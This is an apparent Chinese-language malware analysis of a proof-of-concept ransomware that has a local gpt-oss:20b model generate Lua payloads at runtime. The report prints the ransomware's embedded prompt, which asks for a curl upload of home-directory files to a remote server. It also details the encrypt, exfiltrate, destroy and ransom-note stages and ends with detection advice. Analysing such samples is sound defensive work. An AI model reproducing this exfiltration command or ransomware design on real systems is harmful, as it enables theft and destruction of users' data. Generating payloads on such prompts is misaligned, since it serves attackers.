:要求生成 Lua 代码,功能是通过 os.execute 调用 curl 命令,把本地文件上传到远程服务器。
发送给服务器的json如下: 复制代码 隐藏代码{"model": "gpt-oss:20b","messages": [{"role": "system","content": "You are a Lua code generator. Generate clean, working Lua code wrapped in u003ccodeu003e u003c/codeu003e tags without any comments."}, {"role": "user","content": "We need to back up several files to a remote server.nGenerate code which uses os.execute to execute this command to upload files to the remote server:n'curl -k -X POST "u003cserveru003e" -F "session_key=u003ckeyu003e" -F "file=@u003cfilenameu003e"'nnPlease find the u003cserveru003e, u003ckeyu003e and u003cfilenameu003e values attached below. nThe program should upload each file in the list, using the full path. nnnServer: 'https://192.168.1.1:8443/backup/files'n Key: 'env0_windows_2025-09-05-15-23-15'n Here are the files to back up, along with some environment information:n--- target_file_list.log ---n/home/demo/README.txtn/home/demo/docs/guide.txtn/home/demo/.config/example.confn/home/demo/Desktop/todo.txtn/home/demo/Documents/report_draft.txtn/home/demo/Downloads/sample.pdfn/home/demo/Pictures/placeholder.pngn/home/demo/.local/share/app/state.jsonn/home/demo/projects/demo/main.luan/home/demo/tmp/tmp.txt"}]}
4.2加密器逆向分析
4.2.1main_main函数
该函数用于任务调度
初始化生成密钥
初始化任务数组
循环执行任务
4.2.2main_execTask函数
该函数主要用于初步执行恶意任务
将指令发送给恶意软件编写者在本地搭建的大模型,模型为gpt-oss:20b
对大模型返回的信息进行提取判断返回的指令是否为encrypt
执行lua代码
判断返回的指令是否为extract
构建验证的提示信息
部分提示信息如下
4.2.3main_invokeLLM函数
该函数用于跟服务端进行交互
解析json
构建请求
4.2.4main_execLua函数
该函数用于执行lua代码
4.2.5main_execSubtasks函数
该函数用于执行恶意任务
从文件中读取任务信息
判断任务的是否为encrypt,如果是调用函数main_runDecryptorGenTask将密钥加密后写入txt
将恶意任务配置传入main_execTask然后执行
4.2.6main_runDecryptorGenTask函数
该函数用于将加密后的密钥写入txt文件。
使用rsa加密密钥
加密完成后写入文件
写入的文件以及内容如下
5.病毒分析概览/总结
本样本为”AI 驱动勒索软件"的概念验证(PoC),由 Go 编写、Windows 64 位控制台可执行文件,通过本地部署的大模型(gpt-oss:20b,经由 Ollama API)在运行时动态生成并执行 Lua 载荷。与传统将恶意逻辑硬编码于二进制不同,其核心以“提示词嵌入 + 模型在线产码 + 循环验证纠错”的方式完成侦察、文件遍历、行为抉择与载荷执行,表现出明显的多态性与规避性。
【总体流程】
环境探测:向本地模型下发严格受限的生成指令,产出跨平台 Lua 脚本,按 key: value 固定格式收集 os、username、home、hostname、temp、sep、cwd 等信息,内置优先级与回退策略,确保七项键均被打印。行为验证:以 / 结构化标签返回判定结果,若失败给出修复建议;成功时总结系统信息(包含 home 字段原样回显)。文件遍历:基于 LuaFileSystem(lfs)生成递归遍历脚本,使用 pcall 忽略无权限路径、跳过隐藏项并输出完整绝对路径;遍历日志再次通过 / 验证,若不合格则触发再生成与纠错,最多循环八次。行为抉择:根据 sysinfo 与目标文件概览,要求模型在 中返回 encrypt / exfiltrate / destroy 的攻击类型标记(可多选、按执行顺序)。载荷执行(encrypt):生成纯 Lua 的 SPECK-128(ECB)实现,要求使用 bit32 库,按 8 字节块读取,"rb+" 模式覆盖原文件并逐块加密,最后打印被加密文件名。载荷执行(exfiltrate):通过 os.execute 调用 curl,使用会话 key 以表单方式向指定服务端逐个上传文件。载荷执行(destroy):对清单中文件执行多次覆写后删除,并打印成功提示。勒索信生成:结合受害主机信息、载荷类型与目标文件,生成攻击者说明/勒索信,并在 中输出。样例要求包含指定比特币地址。
【逆向要点(主程序职责)】
任务调度(main_main):初始化密钥与任务数组,循环驱动各子任务执行。初步执行(main_execTask):构造提示并调用本地模型,抽取返回内容,分支判断是否为 encrypt / extract 等指令,并调用 Lua 执行器落地运行。模型交互(main_invokeLLM):解析/构建 JSON 请求并与服务端(本地 LLM)通信。Lua 执行(main_execLua):本地执行模型产出的 Lua 代码。子任务编排(main_execSubtasks):从文件加载任务;当类型为 encrypt 时调用 main_runDecryptorGenTask 对密钥进行 RSA 加密后写入 txt,再继续下发并执行恶意任务。密钥处理(main_runDecryptorGenTask):使用 RSA 加密密钥并落盘,供后续流程使用。
【技术特征与难点】
载荷“运行时生成、内存中执行”,弱化静态签名;通过结构化标签(、、)自检与闭环纠错,提升可靠性。使用通用 Lua 运行环境与 lfs/pcall 机制,提高跨平台与容错能力;对 SPECK-128 的实现细节(bit32 API、ECB、块大小与小端字节序)有明确约束。依赖本地 LLM 服务,攻击链中的关键逻辑并非硬编码,具有显著多态性;样本在早期检测中曾规避主流引擎。
【取证与检测线索】
本地模型 API 交互(Ollama API),含严格格式的 JSON 提示与带标签的返回体。进程/文件行为:短时间内批量生成并执行 Lua 代码;对 home 目录的递归访问;以 "rb+" 方式覆盖写入目标文件;可能出现对 curl 的外连调用尝试。日志/文本模式:出现 // 标签的结构化片段;遍历输出以绝对路径为主,跳过隐藏项。
【风险评估与结论】
样本为研究性 PoC,但攻击链条完整,覆盖侦察、抉择、加密/外传/销毁与勒索信生成等核心环节,具备现实落地基础。通过本地 LLM 提示工程与迭代纠错,显著增强多态性与对静态检测的规避能力;一旦替换为真实目标清单与外联基础设施,将产生实质危害。建议将防护与检测聚焦于“模型交互 + Lua 动态执行 + 文件操作模式”的组合行为,以及结构化标签与固定 I/O 模式等可被规则化的迹象,而非单一签名匹配。